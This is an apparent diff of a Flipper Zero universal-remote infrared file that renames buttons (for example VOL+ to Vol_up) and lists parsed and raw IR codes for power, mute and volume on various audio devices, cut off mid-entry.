VOL+ +name: Vol_up type: parsed protocol: NECext address: 85 23 00 00 command: 57 A8 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 85 23 00 00 command: 47 B8 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 08 00 00 00 command: 10 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 08 00 00 00 command: 16 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 86 FF 00 00 command: 21 DE 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 86 FF 00 00 command: 2B D4 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: BA 4B 00 00 command: 03 FC 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: BA 4B 00 00 command: 02 FD 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: BA A0 00 00 command: 03 FC 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: BA A0 00 00 command: 02 FD 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1014 1477 517 478 514 509 483 487 515 480 512 484 508 488 514 1479 515 1476 508 1483 511 1481 513 1478 516 1475 509 1482 512 1479 515 480 512 483 509 50775 1014 1477 517 504 488 508 484 513 489 506 486 510 482 514 488 1478 516 1475 509 1483 511 1480 514 1477 517 1474 510 1482 512 1478 516 505 487 509 483 50770 1009 1481 513 508 484 512 490 506 486 510 482 514 488 508 484 1481 513 1478 516 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 509 483 513 489 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 1010 1508 486 509 483 513 489 507 485 512 490 505 487 510 482 1509 485 511 491 1501 483 1509 485 1507 487 1504 490 1502 482 1509 485 511 491 1500 484 50779 1010 1506 488 508 484 512 490 505 487 509 483 513 489 506 486 1506 488 507 485 1506 488 1503 481 1510 484 1508 486 1505 489 1503 481 514 488 1503 491 # -name: POWER +name: Power type: parsed protocol: NECext address: BA A0 00 00 command: 4C B3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: BA A0 00 00 command: 01 FD 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 # -name: POWER +name: Power type: parsed protocol: NECext address: BA 4B 00 00 command: 4C B3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: BA 4B 00 00 command: 01 FE 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 83 22 00 00 command: 0A F5 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 83 22 00 00 command: 01 FE 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 35 00 00 00 command: 45 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 35 00 00 00 command: 1B 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 35 00 00 00 command: 09 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 35 00 00 00 command: 51 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 83 22 00 00 command: 08 F7 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 0A 1D 00 00 command: 08 F7 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 0A 1D 00 00 command: 0A F5 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 0A 1D 00 00 command: 03 FC 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 0A 1D 00 00 command: 01 FE 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 06 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 07 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 1E 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 80 00 00 00 command: 01 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 80 00 00 00 command: 03 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 80 00 00 00 command: 06 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 2C 00 00 00 command: 17 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 2C 00 00 00 command: 16 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 83 22 00 00 command: 16 E9 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 83 22 00 00 command: 0F F0 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 83 22 00 00 command: 0C F3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 83 22 00 00 command: 15 EA 00 00 # -name: POWER +name: Power type: parsed protocol: Kaseikyo address: A0 02 20 00 command: D0 03 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: C8 91 00 00 command: 00 FF 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: C8 91 00 00 command: 20 DF 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: C8 91 00 00 command: 1E E1 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: C8 91 00 00 command: 1F E0 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC6 address: 10 00 00 00 command: 10 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC6 address: 10 00 00 00 command: 11 00 00 00 # -name: POWER +name: Power type: parsed protocol: RC6 address: 10 00 00 00 command: 0C 00 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4559 4461 546 490 515 495 521 490 515 495 489 1484 516 1482 550 486 519 491 493 1480 520 1478 522 1477 523 1475 546 490 515 495 521 490 515 495 489 4493 545 491 525 486 519 491 514 496 488 1484 516 1483 517 1481 551 486 488 1485 515 1483 517 1482 550 486 519 491 525 486 519 491 493 1479 542 494 522 489 516 467 517 1482 550 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4550 4469 548 462 543 467 549 461 544 466 518 1481 520 1479 542 468 548 462 522 1477 523 1476 514 1485 515 1483 549 461 544 466 550 461 544 466 518 4491 547 463 542 468 548 462 543 467 549 462 543 467 549 461 523 1476 514 1485 515 1484 516 1482 550 461 513 1486 514 1485 515 1483 549 461 544 466 550 461 544 493 491 1481 540 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4496 4442 513 503 488 502 489 501 490 500 491 1505 487 1508 484 505 486 504 487 1508 484 1511 492 1503 489 1499 514 484 486 504 487 502 489 501 490 4449 517 499 492 499 492 497 483 507 484 1511 492 1504 488 1499 514 483 487 1509 483 1512 491 1504 488 503 488 501 490 500 491 499 492 1504 488 501 490 500 491 492 509 1494 488 55126 4496 4446 541 482 488 502 489 501 490 500 491 1505 487 1508 484 505 486 504 487 1508 484 1503 510 1493 489 1480 512 504 487 503 488 502 489 500 491 4449 517 498 493 497 483 507 484 505 486 1502 511 1492 490 1504 488 502 489 1507 485 1509 483 1512 491 473 518 498 493 496 484 505 486 1510 483 499 512 484 486 504 487 1508 484 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4492 4434 510 505 486 505 486 504 487 503 488 1481 511 1484 518 499 492 498 493 1476 516 1479 513 1483 519 1469 596 402 516 500 491 499 492 498 493 4447 518 498 493 497 483 507 484 506 485 504 487 503 488 494 517 1485 486 1483 519 1476 516 1480 512 504 486 1508 484 1486 517 1479 565 425 513 502 488 501 490 492 509 1467 515 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4500 4436 516 504 486 510 490 505 485 510 490 1500 491 1474 517 505 485 484 516 1501 490 1501 490 1501 490 1501 490 505 485 511 489 506 484 485 515 4449 513 482 508 513 487 508 482 514 486 1504 487 1504 487 1504 487 482 508 1509 482 1509 492 1499 492 504 486 509 491 504 486 509 491 1500 491 504 486 510 490 478 512 1505 486 55017 4492 4444 508 512 488 508 482 513 487 508 482 1508 483 1482 509 513 487 508 482 1509 482 1509 482 1483 508 1483 508 513 487 508 482 514 486 509 481 4457 515 506 484 511 489 506 484 511 489 1501 490 1475 516 1501 490 506 484 1480 511 1507 484 1480 511 511 489 506 484 512 488 507 483 1507 484 512 488 507 483 512 488 1503 488 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4493 4443 509 512 488 507 483 512 488 507 483 1482 509 1482 509 512 488 507 483 1482 509 1482 509 1482 509 1482 509 512 488 507 483 513 487 508 482 4457 516 505 485 510 490 505 485 510 490 505 485 511 489 505 485 1480 511 1480 511 1480 511 1481 510 484 516 1476 515 1476 515 1476 515 481 509 486 514 481 509 486 514 1476 515 55014 4498 4438 514 482 508 487 513 482 508 488 512 1477 514 1477 514 482 508 487 513 1477 514 1477 514 1477 514 1477 514 482 518 477 513 482 518 477 513 4451 511 485 515 479 511 485 515 480 510 485 515 480 510 485 515 1475 516 1475 516 1476 515 1476 515 480 510 1481 510 1481 510 1481 510 486 514 481 509 486 514 481 509 1482 509 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4524 4473 512 516 491 511 486 516 491 511 496 1482 522 1482 522 506 491 512 495 1483 521 1483 521 1483 521 1483 521 506 491 512 495 507 490 512 495 4475 521 507 490 513 494 508 489 513 494 1484 520 1484 520 1483 521 507 490 1488 516 1488 516 1488 516 511 496 506 491 511 496 506 491 1488 516 511 496 506 491 512 495 1483 521 55356 4533 4463 512 516 491 511 486 516 491 511 496 1507 487 1492 512 515 492 510 487 1492 512 1492 512 1491 513 1491 513 515 492 510 487 515 492 510 487 4484 512 516 491 511 496 506 491 512 495 1483 521 1482 522 1482 522 506 491 1488 516 1487 517 1487 517 511 496 506 491 512 495 506 491 1488 516 512 495 507 490 512 495 1483 521 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4533 4464 521 507 490 512 495 507 490 513 494 1484 520 1484 520 508 489 513 494 1484 520 1484 520 1483 521 1483 521 506 491 511 496 506 491 512 495 4475 521 507 490 512 495 507 490 513 494 508 489 513 494 508 489 1490 514 1490 514 1490 514 1490 514 514 493 1485 519 1485 519 1485 519 509 488 515 492 510 487 516 491 1487 517 55369 4531 4465 520 508 489 514 493 509 488 515 492 1486 518 1486 518 509 488 514 493 1486 518 1485 519 1485 519 1485 519 509 488 514 493 509 488 515 492 4478 518 511 486 516 491 511 496 506 491 512 495 507 490 512 495 1483 521 1483 521 1483 521 1483 521 507 490 1488 516 1488 516 1488 516 512 495 507 490 513 494 508 489 1490 514 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4530 4465 521 507 490 513 494 507 490 513 494 1509 496 1483 521 506 491 512 495 1508 486 1492 512 1492 513 1491 513 514 493 509 488 514 493 509 488 4483 513 514 493 509 488 515 492 510 487 515 492 510 487 515 492 510 487 1517 488 1491 513 1490 515 513 494 1510 494 1484 520 1483 521 1483 521 506 491 512 495 506 491 1487 517 55357 4528 4468 518 510 487 515 492 510 487 515 492 1512 493 1485 519 509 488 514 493 1510 494 1483 522 1483 521 1482 512 516 491 511 486 516 491 511 486 4484 512 516 491 511 486 516 491 511 486 516 491 511 486 516 491 511 496 1507 487 1491 513 1491 514 514 493 1510 495 1484 521 1483 522 1483 522 506 491 511 486 516 491 1513 491 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4495 4440 512 509 491 504 486 509 491 504 486 1478 513 1479 512 509 491 504 486 1478 513 1479 512 1479 512 1479 512 509 491 504 486 509 491 504 486 4452 511 511 489 506 484 511 489 506 484 511 489 506 484 511 489 506 484 1480 511 1480 511 1480 511 510 491 1500 491 1475 516 1475 516 1475 516 504 486 510 490 505 485 1479 512 55017 4497 4439 513 507 483 513 487 507 483 513 487 1476 515 1477 514 507 483 513 487 1476 515 1476 515 1477 514 1477 514 481 509 512 488 507 483 512 488 4451 512 509 491 504 486 509 491 504 486 483 517 504 486 509 492 504 486 1504 487 1504 487 1478 513 508 482 1509 482 1509 482 1509 482 1483 508 513 487 508 482 513 487 1504 487 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 4501 4435 517 504 486 510 490 505 485 510 490 1475 516 1475 516 506 484 511 489 1476 515 1476 515 1476 515 1477 514 507 483 512 488 507 483 513 487 4451 511 510 490 479 511 484 516 506 484 1481 510 511 489 506 484 511 489 1476 515 1476 515 1477 514 507 483 512 488 1477 514 1477 514 1478 513 508 482 513 487 508 482 1484 517 55011 4496 4440 512 509 491 478 512 483 517 504 486 1480 511 1480 511 484 516 505 485 1480 511 1480 511 1481 510 1481 510 484 516 506 484 511 489 506 484 4455 517 504 486 509 491 504 486 483 517 1474 517 505 485 510 490 505 485 1480 511 1480 511 1481 510 511 489 480 510 1481 510 1481 510 1482 509 485 515 507 483 512 488 1477 514 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 2C 00 00 00 command: 1E 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 2C 00 00 00 command: 1F 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4504 4432 511 509 492 504 486 509 492 504 486 1478 514 1477 515 507 484 512 489 1476 516 1475 517 1475 517 1474 518 503 487 509 492 503 487 508 493 4446 508 513 488 507 483 512 489 507 483 512 489 506 484 511 490 506 484 1481 511 1480 512 1479 513 509 492 1473 519 1473 519 1472 509 1482 510 511 490 506 484 511 490 1475 517 54985 4498 4437 517 504 486 509 492 504 486 509 492 1473 519 1472 509 512 489 506 484 1481 511 1480 512 1480 512 1479 513 508 493 502 488 507 483 512 489 4449 516 506 485 511 490 505 485 510 491 505 485 510 491 504 486 509 492 1473 519 1473 508 1483 561 434 515 1476 516 1475 517 1474 518 1473 519 502 488 507 483 512 489 1476 516 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 4531 4406 516 478 512 484 538 457 544 452 538 1453 518 1473 519 476 546 450 540 1451 509 1482 510 1481 511 1480 512 483 539 457 544 452 538 457 544 4420 513 482 540 456 545 450 540 455 546 1445 547 449 541 454 536 458 543 1449 543 1449 543 1448 544 451 539 456 545 1445 547 1445 547 1444 537 458 543 453 537 457 544 1448 544 54957 4495 4440 514 481 520 477 513 482 519 476 514 1476 516 1475 517 478 512 484 517 1474 518 1473 519 1472 520 1471 521 474 516 479 511 484 517 479 511 4452 512 509 492 503 487 508 493 503 487 1477 515 507 483 512 489 506 484 1481 511 1481 511 1480 512 509 492 503 487 1478 514 1478 514 1477 515 506 484 511 490 505 485 1480 512 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4551 4468 549 461 544 493 523 460 545 466 518 1480 520 1479 542 468 548 489 495 1477 523 1475 515 1484 516 1483 549 461 544 493 523 487 518 466 518 4490 548 462 543 493 523 488 517 466 550 461 544 466 550 460 545 465 519 1480 520 1478 522 1477 544 465 519 1480 520 1479 521 1477 523 1476 545 464 541 496 520 490 494 1479 542 55901 4554 4465 542 494 522 489 516 494 522 488 496 1477 523 1476 545 490 515 495 489 1484 516 1483 517 1481 519 1479 542 494 522 489 516 494 522 488 496 4487 541 495 521 490 515 495 521 489 516 494 522 488 517 493 523 488 496 1476 525 1475 515 1483 549 488 496 1476 524 1475 515 1484 516 1482 550 486 519 491 525 486 488 1485 547 55897 4548 4470 548 462 543 468 548 462 543 467 517 1482 518 1480 541 469 547 490 494 1478 575 1423 515 1485 515 1483 549 461 544 466 550 461 544 466 518 4491 547 462 543 467 549 462 543 467 549 461 544 466 539 497 519 492 492 1480 520 1478 522 1477 544 465 519 1480 520 1479 521 1477 513 1486 546 464 541 469 547 464 520 1478 543 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 4553 4467 550 459 546 464 541 469 547 464 520 1479 521 1477 544 492 524 486 498 1475 515 1484 516 1482 518 1481 540 496 520 490 515 495 521 490 494 4488 550 486 519 491 525 486 519 491 493 1479 542 494 522 489 516 494 490 1482 518 1481 519 1480 541 494 522 489 495 1478 522 1476 514 1485 547 489 516 494 522 489 495 1477 544 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4555 4483 516 516 488 519 495 512 492 515 489 1525 493 1519 489 518 496 511 493 1521 487 1525 493 1520 488 1524 494 513 491 517 487 520 494 514 490 4501 519 513 491 516 488 520 494 513 491 517 487 521 493 514 490 518 486 1527 491 1522 496 1517 491 516 488 1525 493 1520 488 1525 493 1520 488 519 495 512 492 516 488 1525 493 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 13 00 00 00 command: 0D 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 13 00 00 00 command: 0E 00 00 00 # -name: POWER +name: Power type: parsed protocol: RC5 address: 13 00 00 00 command: 0B 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC5 address: 13 00 00 00 command: 0C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC address: 01 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC address: 01 00 00 00 command: 13 00 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4552 4468 574 436 566 444 568 442 570 441 540 1458 546 1453 572 439 573 437 544 1455 539 1460 544 1456 548 1450 575 436 566 444 568 442 570 440 541 4468 594 416 565 445 567 443 569 441 540 1459 545 1453 541 1459 566 444 547 1452 542 1457 547 1452 593 417 564 446 566 444 568 442 539 1460 565 446 566 444 568 442 539 1460 565 55957 4581 4437 543 467 545 466 546 464 538 472 519 1480 514 1485 540 471 541 469 512 1486 518 1481 513 1486 518 1481 575 436 566 444 568 442 570 440 541 4468 543 468 544 465 547 464 538 472 519 1480 514 1485 519 1479 546 465 516 1483 511 1488 516 1483 542 468 544 466 546 464 538 473 519 1480 545 466 546 464 538 472 519 1480 545 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4546 4473 538 473 539 470 542 469 543 467 514 1484 520 1479 545 465 547 463 518 1481 513 1486 518 1481 513 1487 538 472 540 470 542 469 543 466 515 4495 546 463 539 472 540 470 542 468 544 466 546 491 521 462 519 1480 513 1485 519 1480 514 1486 539 472 519 1479 515 1484 520 1479 546 464 548 463 539 471 541 469 512 1487 548 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4549 4469 542 468 544 467 545 465 537 473 519 1481 513 1485 540 471 541 469 512 1487 517 1482 512 1487 517 1482 543 467 545 465 547 463 539 472 519 4489 543 468 544 466 546 464 538 473 539 470 542 468 544 466 546 465 516 1482 512 1487 517 1482 543 468 513 1485 519 1480 514 1485 519 1480 545 465 547 463 539 472 520 1479 546 55899 4549 4470 541 469 574 436 566 445 546 463 549 1450 513 1486 539 471 572 438 543 1456 548 1451 543 1456 548 1451 574 436 566 445 567 443 569 441 540 4469 573 437 575 435 567 443 569 441 571 439 573 437 565 445 567 443 549 1451 543 1456 548 1451 574 436 545 1454 540 1459 545 1454 540 1459 566 444 568 442 570 440 541 1458 567 55878 4580 4439 572 439 573 437 565 445 567 443 548 1451 543 1456 569 441 571 439 542 1457 547 1452 542 1457 547 1452 573 437 575 435 567 443 569 442 539 4469 573 438 574 436 566 444 568 442 570 440 572 438 574 436 566 444 547 1452 542 1457 547 1452 573 437 544 1455 539 1460 544 1455 539 1460 575 435 567 444 568 442 539 1459 566 55879 4578 4442 569 441 571 439 573 437 575 435 546 1453 541 1458 567 444 568 441 540 1459 545 1454 540 1459 545 1454 571 439 573 437 575 435 567 444 548 4461 571 440 572 438 574 436 566 444 568 442 570 440 572 438 574 436 545 1454 540 1459 545 1454 571 439 542 1457 547 1452 542 1457 547 1452 573 437 575 435 567 444 547 1451 574 55871 4554 4465 546 464 538 473 539 471 541 469 512 1487 517 1481 544 467 545 465 516 1483 511 1488 516 1483 511 1488 547 463 539 472 540 470 542 468 513 4496 546 464 538 472 540 470 542 468 544 466 546 464 538 473 539 471 510 1488 516 1483 511 1488 547 463 518 1481 513 1486 518 1481 513 1486 539 472 540 470 542 467 514 1485 540 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 4555 4465 546 464 538 472 540 470 542 468 513 1486 518 1481 544 467 545 465 516 1483 511 1488 516 1483 511 1488 537 473 539 472 540 470 542 468 513 4496 546 464 538 473 539 471 541 469 512 1487 538 472 540 470 542 469 512 1486 518 1481 544 1455 570 441 571 439 542 1457 547 1452 542 1457 568 442 570 440 572 438 543 1456 569 55920 4555 4464 547 464 538 472 540 470 542 468 513 1486 518 1481 544 466 546 464 517 1482 512 1487 517 1482 512 1487 538 473 539 471 541 469 543 467 514 4495 547 463 539 472 540 470 542 468 513 1486 539 471 541 469 543 467 514 1485 519 1479 515 1485 540 470 542 468 513 1486 518 1481 513 1486 539 471 541 469 543 467 514 1485 540 # -name: POWER +name: Power type: parsed protocol: SIRC15 address: 10 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 01 00 00 00 command: 15 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: SIRC address: 01 00 00 00 command: 14 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 10 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC15 address: 30 00 00 00 command: 15 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: SIRC15 address: 30 00 00 00 command: 14 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 86 FF 00 00 command: 1C E3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 86 FF 00 00 command: 1D E2 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 80 00 00 00 command: 0D 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 80 00 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 12 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 80 00 00 00 command: 1E 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: EF 01 00 00 command: 25 DA 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: EF 01 00 00 command: 14 EB 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: EF 01 00 00 command: 13 EC 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: EF 01 00 00 command: 28 D7 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1048 580 597 1165 596 582 595 1167 594 875 599 578 599 1455 593 585 592 1171 600 577 600 576 601 13191 1042 586 591 1170 601 576 601 1161 600 869 595 582 595 1459 599 578 599 1163 598 580 597 579 598 13195 1048 580 597 1165 596 581 596 1167 594 875 599 578 599 1456 592 585 592 1171 600 577 600 577 600 13192 1052 576 601 1162 599 578 599 1163 598 871 593 584 593 1462 596 581 596 1166 595 582 595 582 595 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 1048 553 624 1138 623 554 623 1139 622 848 626 551 626 1427 621 556 652 1403 655 522 655 814 650 12579 1050 552 656 1106 624 553 624 1138 623 847 627 550 627 1427 621 556 621 1434 624 553 624 845 619 12612 1079 523 623 1139 622 555 622 1139 622 848 626 550 627 1427 621 556 621 1434 624 553 624 845 619 12613 1047 556 621 1141 620 556 621 1141 620 850 624 552 625 1429 619 558 619 1435 623 554 623 846 628 12600 1050 552 625 1137 624 553 624 1137 624 846 618 558 619 1435 623 554 623 1431 627 550 627 842 622 12609 1051 551 626 1136 625 551 626 1136 625 844 620 557 620 1434 624 554 623 1431 627 550 627 843 621 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1073 528 649 1114 647 530 647 1116 645 825 649 527 650 1405 653 1402 625 552 646 1409 649 1113 648 11417 1077 524 653 1110 651 526 651 1112 649 820 654 523 654 1400 648 1407 651 526 651 1404 654 1109 652 11414 1079 523 654 1109 652 524 653 1111 650 819 624 554 654 1401 647 1408 650 529 648 1406 652 1111 650 11416 1077 525 652 1110 651 526 651 1112 649 820 654 523 654 1401 647 1408 650 528 649 1405 622 1141 651 11414 1080 521 646 1116 624 553 645 1117 654 816 648 529 648 1406 652 1403 655 523 644 1410 648 1114 647 11418 1075 526 651 1111 650 527 650 1112 649 820 623 554 654 1400 648 1407 651 526 651 1403 655 1107 654 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 1051 550 627 1135 626 551 626 1136 625 845 619 850 624 553 675 794 629 842 622 555 622 555 622 13780 1047 555 622 1140 621 557 620 1141 620 850 624 845 619 558 619 850 624 846 618 559 618 559 618 13782 1045 558 619 1143 618 559 618 1144 627 842 622 847 627 550 627 842 622 848 626 551 626 551 626 13774 1053 549 618 1144 627 550 627 1135 626 843 621 849 625 551 626 844 620 850 624 553 624 552 625 13776 1051 551 626 1137 624 553 624 1138 623 846 618 851 623 554 623 846 628 841 623 554 623 554 623 13776 1051 551 626 1136 625 552 625 1137 624 845 619 850 624 553 624 846 618 852 622 555 622 554 623 13778 1049 554 623 1139 622 555 622 1140 621 849 625 844 620 557 620 850 624 846 618 559 618 558 619 # -name: POWER +name: Power type: parsed protocol: NEC address: 78 00 00 00 command: CC 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 78 00 00 00 command: 9C 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 7E 00 00 00 command: 2A 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 7A 00 00 00 command: 1C 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 274 789 254 1792 275 814 250 787 246 816 248 1798 279 784 249 813 251 785 248 788 245 1827 281 1791 275 1825 272 790 253 783 250 43886 277 786 278 1795 272 791 252 783 281 782 251 785 269 1804 273 1800 277 1822 275 1798 279 783 270 766 277 759 274 1825 272 1800 277 43886 277 759 274 1825 272 764 279 756 277 786 278 1795 282 781 272 763 280 755 278 785 279 1794 273 1827 270 1802 275 761 272 791 273 43888 276 761 272 1800 277 786 278 758 275 760 273 790 274 1799 278 1821 276 1796 281 1792 275 788 276 760 273 789 275 1798 279 1794 273 43889 278 785 248 1825 272 790 253 782 272 764 279 1793 274 790 274 761 282 781 273 763 280 1793 273 1825 272 1800 277 813 220 789 275 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 270 793 250 1795 272 818 246 791 252 809 244 766 277 1795 282 781 272 790 253 809 224 1822 275 1797 280 1820 277 785 248 788 245 43889 273 790 274 1799 278 785 248 788 276 787 246 1826 271 792 251 1794 273 1827 270 1802 275 788 245 791 273 790 253 1819 278 1794 273 43889 274 789 254 1818 269 767 276 786 247 789 275 788 245 1827 270 792 251 785 248 814 250 1796 281 1819 248 1825 272 790 253 783 271 43889 245 791 273 1799 278 786 278 784 249 787 246 1827 281 781 252 1821 276 1796 281 1792 274 814 250 786 247 789 244 1829 279 1793 274 43888 275 815 218 1828 280 783 250 786 278 785 248 788 245 1827 280 782 251 785 268 794 249 1797 280 1819 278 1794 272 791 252 810 254 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 277 759 274 1799 278 784 280 783 250 812 242 1804 273 816 227 808 246 791 252 1819 248 1825 273 1826 251 1822 276 786 247 789 244 43888 274 815 249 1797 280 783 250 812 252 784 249 813 241 1805 272 1827 250 1822 275 787 246 816 217 819 255 807 226 1820 278 1795 272 43888 273 789 254 1817 270 793 251 785 248 814 250 1795 282 807 247 790 253 783 250 1822 276 1796 281 1818 249 1824 274 814 229 807 247 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 275 762 271 1800 277 786 278 784 249 813 241 795 248 1824 253 784 270 792 251 1821 246 1826 272 1801 276 1823 275 762 271 790 243 43889 274 789 275 1797 280 783 250 812 252 784 249 1823 275 762 271 1827 250 1822 276 787 246 816 217 818 246 790 253 1819 268 1804 273 43886 277 786 247 1825 273 764 280 783 250 811 253 784 249 1822 276 761 272 816 228 1819 279 1794 273 1826 251 1821 277 786 247 815 249 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 275 762 271 1800 277 786 278 784 249 813 241 795 248 814 219 817 247 789 254 1818 249 1824 274 1798 279 1820 278 759 274 788 245 43887 274 789 275 1798 279 783 250 812 252 784 249 1823 274 1798 279 1820 247 1826 271 765 278 